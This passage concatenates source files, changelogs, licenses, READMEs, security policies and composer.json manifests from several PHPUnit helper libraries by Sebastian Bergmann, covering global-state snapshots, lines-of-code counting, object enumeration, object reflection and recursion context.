$this->snapshotStaticProperties(); } if ($includeIniSettings) { $this->iniSettings = ini_get_all(null, false); } if ($includeIncludedFiles) { $this->includedFiles = get_included_files(); } if ($includeTraits) { $this->traits = get_declared_traits(); } } public function excludeList(): ExcludeList { return $this->excludeList; } public function globalVariables(): array { return $this->globalVariables; } public function superGlobalVariables(): array { return $this->superGlobalVariables; } public function superGlobalArrays(): array { return $this->superGlobalArrays; } public function staticProperties(): array { return $this->staticProperties; } public function iniSettings(): array { return $this->iniSettings; } public function includedFiles(): array { return $this->includedFiles; } public function constants(): array { return $this->constants; } public function functions(): array { return $this->functions; } public function interfaces(): array { return $this->interfaces; } public function classes(): array { return $this->classes; } public function traits(): array { return $this->traits; } private function snapshotConstants(): void { $constants = get_defined_constants(true); if (isset($constants['user'])) { $this->constants = $constants['user']; } } private function snapshotFunctions(): void { $functions = get_defined_functions(); $this->functions = $functions['user']; } private function snapshotClasses(): void { foreach (array_reverse(get_declared_classes()) as $className) { $class = new ReflectionClass($className); if (!$class->isUserDefined()) { break; } $this->classes[] = $className; } $this->classes = array_reverse($this->classes); } private function snapshotInterfaces(): void { foreach (array_reverse(get_declared_interfaces()) as $interfaceName) { $class = new ReflectionClass($interfaceName); if (!$class->isUserDefined()) { break; } $this->interfaces[] = $interfaceName; } $this->interfaces = array_reverse($this->interfaces); } private function snapshotGlobals(): void { $superGlobalArrays = $this->superGlobalArrays(); foreach ($superGlobalArrays as $superGlobalArray) { $this->snapshotSuperGlobalArray($superGlobalArray); } foreach (array_keys($GLOBALS) as $key) { if ($key !== 'GLOBALS' && !in_array($key, $superGlobalArrays, true) && $this->canBeSerialized($GLOBALS[$key]) && !$this->excludeList->isGlobalVariableExcluded($key)) { /* @noinspection UnserializeExploitsInspection */ $this->globalVariables[$key] = unserialize(serialize($GLOBALS[$key])); } } } private function snapshotSuperGlobalArray(string $superGlobalArray): void { $this->superGlobalVariables[$superGlobalArray] = []; if (isset($GLOBALS[$superGlobalArray]) && is_array($GLOBALS[$superGlobalArray])) { foreach ($GLOBALS[$superGlobalArray] as $key => $value) { /* @noinspection UnserializeExploitsInspection */ $this->superGlobalVariables[$superGlobalArray][$key] = unserialize(serialize($value)); } } } private function snapshotStaticProperties(): void { foreach ($this->classes as $className) { $class = new ReflectionClass($className); $snapshot = []; foreach ($class->getProperties() as $property) { if ($property->isStatic()) { $name = $property->getName(); if ($this->excludeList->isStaticPropertyExcluded($className, $name)) { continue; } if (!$property->isInitialized()) { continue; } $value = $property->getValue(); if ($this->canBeSerialized($value)) { /* @noinspection UnserializeExploitsInspection */ $snapshot[$name] = unserialize(serialize($value)); } } } if (!empty($snapshot)) { $this->staticProperties[$className] = $snapshot; } } } private function setupSuperGlobalArrays(): void { $this->superGlobalArrays = [ '_ENV', '_POST', '_GET', '_COOKIE', '_SERVER', '_FILES', '_REQUEST', ]; } private function canBeSerialized(mixed $variable): bool { if (is_scalar($variable) || $variable === null) { return true; } if (is_resource($variable)) { return false; } foreach ($this->enumerateObjectsAndResources($variable) as $value) { if (is_resource($value)) { return false; } if (is_object($value)) { $class = new ReflectionClass($value); if ($class->isAnonymous()) { return false; } try { @serialize($value); } catch (Throwable $t) { return false; } } } return true; } private function enumerateObjectsAndResources(mixed $variable): array { if (isset(func_get_args()[1])) { $processed = func_get_args()[1]; } else { $processed = new Context; } assert($processed instanceof Context); $result = []; if ($processed->contains($variable)) { return $result; } $array = $variable; /* @noinspection UnusedFunctionResultInspection */ $processed->add($variable); if (is_array($variable)) { foreach ($array as $element) { if (!is_array($element) && !is_object($element) && !is_resource($element)) { continue; } if (!is_resource($element)) { /** @noinspection SlowArrayOperationsInLoopInspection */ $result = array_merge( $result, $this->enumerateObjectsAndResources($element, $processed), ); } else { $result[] = $element; } } } else { $result[] = $variable; foreach ((new ObjectReflector)->getProperties($variable) as $value) { if (!is_array($value) && !is_object($value) && !is_resource($value)) { continue; } if (!is_resource($value)) { /** @noinspection SlowArrayOperationsInLoopInspection */ $result = array_merge( $result, $this->enumerateObjectsAndResources($value, $processed), ); } else { $result[] = $value; } } } return $result; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\GlobalState; final class RuntimeException extends \RuntimeException implements Exception { } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [2.0.2] - 2023-12-21 ### Changed * This component is now compatible with `nikic/php-parser` 5.0 ## [2.0.1] - 2023-08-31 ### Changed * Improved type information ## [2.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [1.0.3] - 2020-11-28 ### Fixed * Files that do not contain a newline were not handled correctly ### Changed * A line of code is no longer considered to be a Logical Line of Code if it does not contain an `Expr` node ## [1.0.2] - 2020-10-26 ### Fixed * `SebastianBergmann\LinesOfCode\Exception` now correctly extends `\Throwable` ## [1.0.1] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [1.0.0] - 2020-07-22 * Initial release [2.0.2]: https://github.com/sebastianbergmann/lines-of-code/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/lines-of-code/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.3...2.0.0 [1.0.3]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.2...1.0.3 [1.0.2]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.1...1.0.2 [1.0.1]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.0...1.0.1 [1.0.0]: https://github.com/sebastianbergmann/lines-of-code/compare/f959e71f00e591288acc024afe9cb966c6cf9bd6...1.0.0 BSD 3-Clause License Copyright (c) 2020-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/lines-of-code/v/stable.png)](https://packagist.org/packages/sebastian/lines-of-code) [![CI Status](https://github.com/sebastianbergmann/lines-of-code/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/lines-of-code/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/lines-of-code/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/lines-of-code) [![codecov](https://codecov.io/gh/sebastianbergmann/lines-of-code/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/lines-of-code) # sebastian/lines-of-code Library for counting the lines of code in PHP source code. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/lines-of-code ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/lines-of-code ``` # Security Policy If you believe you have found a security vulnerability in the library that is developed in this repository, please report it to us through coordinated disclosure. **Please do not report security vulnerabilities through public GitHub issues, discussions, or pull requests.** Instead, please email `sebastian@phpunit.de`. Please include as much of the information listed below as you can to help us better understand and resolve the issue: * The type of issue * Full paths of source file(s) related to the manifestation of the issue * The location of the affected source code (tag/branch/commit or direct URL) * Any special configuration required to reproduce the issue * Step-by-step instructions to reproduce the issue * Proof-of-concept or exploit code (if possible) * Impact of the issue, including how an attacker might exploit the issue This information will help us triage your report more quickly. ## Web Context The library that is developed in this repository was either extracted from [PHPUnit](https://github.com/sebastianbergmann/phpunit) or developed specifically as a dependency for PHPUnit. The library is developed with a focus on development environments and the command-line. No specific testing or hardening with regard to using the library in an HTTP or web context or with untrusted input data is performed. The library might also contain functionality that intentionally exposes internal application data for debugging purposes. If the library is used in a web application, the application developer is responsible for filtering inputs or escaping outputs as necessary and for verifying that the used functionality is safe for use within the intended context. Vulnerabilities specific to the use outside a development context will be fixed as applicable, provided that the fix does not have an averse effect on the primary use case for development purposes. { "name": "sebastian/lines-of-code", "description": "Library for counting the lines of code in PHP source code", "type": "library", "homepage": "https://github.com/sebastianbergmann/lines-of-code", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de", "role": "lead" } ], "support": { "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", "security": "https://github.com/sebastianbergmann/lines-of-code/security/policy" }, "prefer-stable": true, "require": { "php": ">=8.1", "nikic/php-parser": "^4.18 || ^5.0" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "config": { "platform": { "php": "8.1" }, "optimize-autoloader": true, "sort-packages": true }, "autoload": { "classmap": [ "src/" ] }, "extra": { "branch-alias": { "dev-main": "2.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use function assert; use function file_get_contents; use function substr_count; use PhpParser\Error; use PhpParser\Node; use PhpParser\NodeTraverser; use PhpParser\ParserFactory; final class Counter { /** * @throws RuntimeException */ public function countInSourceFile(string $sourceFile): LinesOfCode { return $this->countInSourceString(file_get_contents($sourceFile)); } /** * @throws RuntimeException */ public function countInSourceString(string $source): LinesOfCode { $linesOfCode = substr_count($source, "\n"); if ($linesOfCode === 0 && !empty($source)) { $linesOfCode = 1; } assert($linesOfCode >= 0); try { $nodes = (new ParserFactory)->createForHostVersion()->parse($source); assert($nodes !== null); return $this->countInAbstractSyntaxTree($linesOfCode, $nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new RuntimeException( $error->getMessage(), $error->getCode(), $error, ); } // @codeCoverageIgnoreEnd } /** * @psalm-param non-negative-int $linesOfCode * * @param Node[] $nodes * * @throws RuntimeException */ public function countInAbstractSyntaxTree(int $linesOfCode, array $nodes): LinesOfCode { $traverser = new NodeTraverser; $visitor = new LineCountingVisitor($linesOfCode); $traverser->addVisitor($visitor); try { /* @noinspection UnusedFunctionResultInspection */ $traverser->traverse($nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new RuntimeException( $error->getMessage(), $error->getCode(), $error, ); } // @codeCoverageIgnoreEnd return $visitor->result(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use Throwable; interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use LogicException; final class IllogicalValuesException extends LogicException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use InvalidArgumentException; final class NegativeValueException extends InvalidArgumentException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; final class RuntimeException extends \RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; use function array_merge; use function array_unique; use function assert; use function count; use PhpParser\Comment; use PhpParser\Node; use PhpParser\Node\Expr; use PhpParser\NodeVisitorAbstract; final class LineCountingVisitor extends NodeVisitorAbstract { /** * @psalm-var non-negative-int */ private readonly int $linesOfCode; /** * @var Comment[] */ private array $comments = []; /** * @var int[] */ private array $linesWithStatements = []; /** * @psalm-param non-negative-int $linesOfCode */ public function __construct(int $linesOfCode) { $this->linesOfCode = $linesOfCode; } public function enterNode(Node $node): void { $this->comments = array_merge($this->comments, $node->getComments()); if (!$node instanceof Expr) { return; } $this->linesWithStatements[] = $node->getStartLine(); } public function result(): LinesOfCode { $commentLinesOfCode = 0; foreach ($this->comments() as $comment) { $commentLinesOfCode += ($comment->getEndLine() - $comment->getStartLine() + 1); } $nonCommentLinesOfCode = $this->linesOfCode - $commentLinesOfCode; $logicalLinesOfCode = count(array_unique($this->linesWithStatements)); assert($commentLinesOfCode >= 0); assert($nonCommentLinesOfCode >= 0); assert($logicalLinesOfCode >= 0); return new LinesOfCode( $this->linesOfCode, $commentLinesOfCode, $nonCommentLinesOfCode, $logicalLinesOfCode, ); } /** * @return Comment[] */ private function comments(): array { $comments = []; foreach ($this->comments as $comment) { $comments[$comment->getStartLine() . '_' . $comment->getStartTokenPos() . '_' . $comment->getEndLine() . '_' . $comment->getEndTokenPos()] = $comment; } return $comments; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\LinesOfCode; /** * @psalm-immutable */ final class LinesOfCode { /** * @psalm-var non-negative-int */ private readonly int $linesOfCode; /** * @psalm-var non-negative-int */ private readonly int $commentLinesOfCode; /** * @psalm-var non-negative-int */ private readonly int $nonCommentLinesOfCode; /** * @psalm-var non-negative-int */ private readonly int $logicalLinesOfCode; /** * @psalm-param non-negative-int $linesOfCode * @psalm-param non-negative-int $commentLinesOfCode * @psalm-param non-negative-int $nonCommentLinesOfCode * @psalm-param non-negative-int $logicalLinesOfCode * * @throws IllogicalValuesException * @throws NegativeValueException */ public function __construct(int $linesOfCode, int $commentLinesOfCode, int $nonCommentLinesOfCode, int $logicalLinesOfCode) { /** @psalm-suppress DocblockTypeContradiction */ if ($linesOfCode < 0) { throw new NegativeValueException('$linesOfCode must not be negative'); } /** @psalm-suppress DocblockTypeContradiction */ if ($commentLinesOfCode < 0) { throw new NegativeValueException('$commentLinesOfCode must not be negative'); } /** @psalm-suppress DocblockTypeContradiction */ if ($nonCommentLinesOfCode < 0) { throw new NegativeValueException('$nonCommentLinesOfCode must not be negative'); } /** @psalm-suppress DocblockTypeContradiction */ if ($logicalLinesOfCode < 0) { throw new NegativeValueException('$logicalLinesOfCode must not be negative'); } if ($linesOfCode - $commentLinesOfCode !== $nonCommentLinesOfCode) { throw new IllogicalValuesException('$linesOfCode !== $commentLinesOfCode + $nonCommentLinesOfCode'); } $this->linesOfCode = $linesOfCode; $this->commentLinesOfCode = $commentLinesOfCode; $this->nonCommentLinesOfCode = $nonCommentLinesOfCode; $this->logicalLinesOfCode = $logicalLinesOfCode; } /** * @psalm-return non-negative-int */ public function linesOfCode(): int { return $this->linesOfCode; } /** * @psalm-return non-negative-int */ public function commentLinesOfCode(): int { return $this->commentLinesOfCode; } /** * @psalm-return non-negative-int */ public function nonCommentLinesOfCode(): int { return $this->nonCommentLinesOfCode; } /** * @psalm-return non-negative-int */ public function logicalLinesOfCode(): int { return $this->logicalLinesOfCode; } public function plus(self $other): self { return new self( $this->linesOfCode() + $other->linesOfCode(), $this->commentLinesOfCode() + $other->commentLinesOfCode(), $this->nonCommentLinesOfCode() + $other->nonCommentLinesOfCode(), $this->logicalLinesOfCode() + $other->logicalLinesOfCode(), ); } } # Change Log All notable changes to `sebastianbergmann/object-enumerator` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [5.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [4.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\ObjectEnumerator\Exception` now correctly extends `\Throwable` ## [4.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [4.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [4.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [4.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.0, PHP 7.1, and PHP 7.2 ## [3.0.3] - 2017-08-03 ### Changed * Bumped required version of `sebastian/object-reflector` ## [3.0.2] - 2017-03-12 ### Changed * `sebastian/object-reflector` is now a dependency ## [3.0.1] - 2017-03-12 ### Fixed * Objects aggregated in inherited attributes are not enumerated ## [3.0.0] - 2017-03-03 ### Removed * This component is no longer supported on PHP 5.6 ## [2.0.1] - 2017-02-18 ### Fixed * Fixed [#2](https://github.com/sebastianbergmann/phpunit/pull/2): Exceptions in `ReflectionProperty::getValue()` are not handled ## [2.0.0] - 2016-11-19 ### Changed * This component is now compatible with `sebastian/recursion-context: ~1.0.4` ## 1.0.0 - 2016-02-04 ### Added * Initial release [5.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.4...5.0.0 [4.0.4]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.3...4.0.4 [4.0.3]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.2...4.0.3 [4.0.2]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.0...4.0.1 [4.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.3...4.0.0 [3.0.3]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.2...3.0.3 [3.0.2]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.1...3.0.2 [3.0.1]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.0...3.0.1 [3.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/2.0...3.0.0 [2.0.1]: https://github.com/sebastianbergmann/object-enumerator/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/1.0...2.0.0 BSD 3-Clause License Copyright (c) 2016-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/object-enumerator/v/stable.png)](https://packagist.org/packages/sebastian/object-enumerator) [![CI Status](https://github.com/sebastianbergmann/object-enumerator/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/object-enumerator/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/object-enumerator/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/object-enumerator) [![codecov](https://codecov.io/gh/sebastianbergmann/object-enumerator/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/object-enumerator) # sebastian/object-enumerator Traverses array structures and object graphs to enumerate all referenced objects. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/object-enumerator ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/object-enumerator ``` # Security Policy This library is intended to be used in development environments only. For instance, it is used by the testing framework PHPUnit. There is no reason why this library should be installed on a webserver. **If you upload this library to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** ## Security Contact Information After the above, if you still would like to report a security vulnerability, please email `sebastian@phpunit.de`. { "name": "sebastian/object-enumerator", "description": "Traverses array structures and object graphs to enumerate all referenced objects", "homepage": "https://github.com/sebastianbergmann/object-enumerator/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "prefer-stable": true, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=8.1", "sebastian/object-reflector": "^3.0", "sebastian/recursion-context": "^5.0" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture/" ] }, "extra": { "branch-alias": { "dev-main": "5.0-dev" } } } tests src * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ObjectEnumerator; use function array_merge; use function is_array; use function is_object; use SebastianBergmann\ObjectReflector\ObjectReflector; use SebastianBergmann\RecursionContext\Context; final class Enumerator { /** * @psalm-return list */ public function enumerate(array|object $variable, Context $processed = new Context): array { $objects = []; if ($processed->contains($variable)) { return $objects; } $array = $variable; /* @noinspection UnusedFunctionResultInspection */ $processed->add($variable); if (is_array($variable)) { foreach ($array as $element) { if (!is_array($element) && !is_object($element)) { continue; } /** @noinspection SlowArrayOperationsInLoopInspection */ $objects = array_merge( $objects, $this->enumerate($element, $processed) ); } return $objects; } $objects[] = $variable; foreach ((new ObjectReflector)->getProperties($variable) as $value) { if (!is_array($value) && !is_object($value)) { continue; } /** @noinspection SlowArrayOperationsInLoopInspection */ $objects = array_merge( $objects, $this->enumerate($value, $processed) ); } return $objects; } } # Change Log All notable changes to `sebastianbergmann/object-reflector` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. ## [3.0.0] - 2023-02-03 ### Changed * `ObjectReflector::getAttributes()` has been renamed to `ObjectReflector::getProperties()` ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [2.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\ObjectReflector\Exception` now correctly extends `\Throwable` ## [2.0.3] - 2020-09-28 ### Changed * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [2.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [2.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports ## [2.0.0] - 2020-02-07 ### Removed * This component is no longer supported on PHP 7.0, PHP 7.1, and PHP 7.2 ## [1.1.1] - 2017-03-29 * Fixed [#1](https://github.com/sebastianbergmann/object-reflector/issues/1): Attributes with non-string names are not handled correctly ## [1.1.0] - 2017-03-16 ### Changed * Changed implementation of `ObjectReflector::getattributes()` to use `(array)` cast instead of `ReflectionObject` ## 1.0.0 - 2017-03-12 * Initial release [3.0.0]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.4...3.0.0 [2.0.4]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.3...2.0.4 [2.0.3]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.2...2.0.3 [2.0.2]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.1...2.0.2 [2.0.1]: https://github.com/sebastianbergmann/object-reflector/compare/2.0.0...2.0.1 [2.0.0]: https://github.com/sebastianbergmann/object-reflector/compare/1.1.1...2.0.0 [1.1.1]: https://github.com/sebastianbergmann/object-reflector/compare/1.1.0...1.1.1 [1.1.0]: https://github.com/sebastianbergmann/object-reflector/compare/1.0.0...1.1.0 BSD 3-Clause License Copyright (c) 2017-2023, Sebastian Bergmann All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. [![Latest Stable Version](https://poser.pugx.org/sebastian/object-reflector/v/stable.png)](https://packagist.org/packages/sebastian/object-reflector) [![CI Status](https://github.com/sebastianbergmann/object-reflector/workflows/CI/badge.svg)](https://github.com/sebastianbergmann/object-reflector/actions) [![Type Coverage](https://shepherd.dev/github/sebastianbergmann/object-reflector/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/object-reflector) [![codecov](https://codecov.io/gh/sebastianbergmann/object-reflector/branch/main/graph/badge.svg)](https://codecov.io/gh/sebastianbergmann/object-reflector) # sebastian/object-reflector Allows reflection of object properties, including inherited and private as well as protected ones. ## Installation You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): ``` composer require sebastian/object-reflector ``` If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: ``` composer require --dev sebastian/object-reflector ``` # Security Policy This library is intended to be used in development environments only. For instance, it is used by the testing framework PHPUnit. There is no reason why this library should be installed on a webserver. **If you upload this library to a webserver then your deployment process is broken. On a more general note, if your `vendor` directory is publicly accessible on your webserver then your deployment process is also broken.** ## Security Contact Information After the above, if you still would like to report a security vulnerability, please email `sebastian@phpunit.de`. { "name": "sebastian/object-reflector", "description": "Allows reflection of object attributes, including inherited and non-public ones", "homepage": "https://github.com/sebastianbergmann/object-reflector/", "license": "BSD-3-Clause", "authors": [ { "name": "Sebastian Bergmann", "email": "sebastian@phpunit.de" } ], "prefer-stable": true, "config": { "platform": { "php": "8.1.0" }, "optimize-autoloader": true, "sort-packages": true }, "require": { "php": ">=8.1" }, "require-dev": { "phpunit/phpunit": "^10.0" }, "autoload": { "classmap": [ "src/" ] }, "autoload-dev": { "classmap": [ "tests/_fixture/" ] }, "extra": { "branch-alias": { "dev-main": "3.0-dev" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\ObjectReflector; use function count; use function explode; final class ObjectReflector { /** * @psalm-return array */ public function getProperties(object $object): array { $properties = []; $className = $object::class; foreach ((array) $object as $name => $value) { $name = explode("\0", (string) $name); if (count($name) === 1) { $name = $name[0]; } elseif ($name[1] !== $className) { $name = $name[1] . '::' . $name[2]; } else { $name = $name[2]; } $properties[$name] = $value; } return $properties; } } # ChangeLog All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. ## [5.0.1] - 2025-08-10 ### Changed * Do not use `SplObjectStorage` methods that will be deprecated in PHP 8.5 ## [5.0.0] - 2023-02-03 ### Removed * This component is no longer supported on PHP 7.3, PHP 7.4 and PHP 8.0 ## [4.0.5] - 2023-02-03 ### Fixed * [#26](https://github.com/sebastianbergmann/recursion-context/pull/26): Don't clobber `null` values if `array_key_exists(PHP_INT_MAX, $array)` ## [4.0.4] - 2020-10-26 ### Fixed * `SebastianBergmann\RecursionContext\Exception` now correctly extends `\Throwable` ## [4.0.3] - 2020-09-28 ### Changed * [#21](https://github.com/sebastianbergmann/recursion-context/pull/21): Add type annotations for in/out parameters * Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` ## [4.0.2] - 2020-06-26 ### Added * This component is now supported on PHP 8 ## [4.0.1] - 2020-06-15 ### Changed * Tests etc. are now ignored for archive exports [5.0.1]: https://github.com/sebastianbergmann/recursion-context/compare/5.0.0...5.0.1 [5.0.0]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.5...5.0.0 [4.0.5]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.4...4.0.5 [4.0.4]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.3...4.0.4 [4.0.3]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.2...4.0.3 [4.0.2]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.1...4.0.2 [4.0.1]: https://github.com/sebastianbergmann/recursion-context/compare/4.0.0...4.0.1 BSD 3-Clause License Copyright (c) 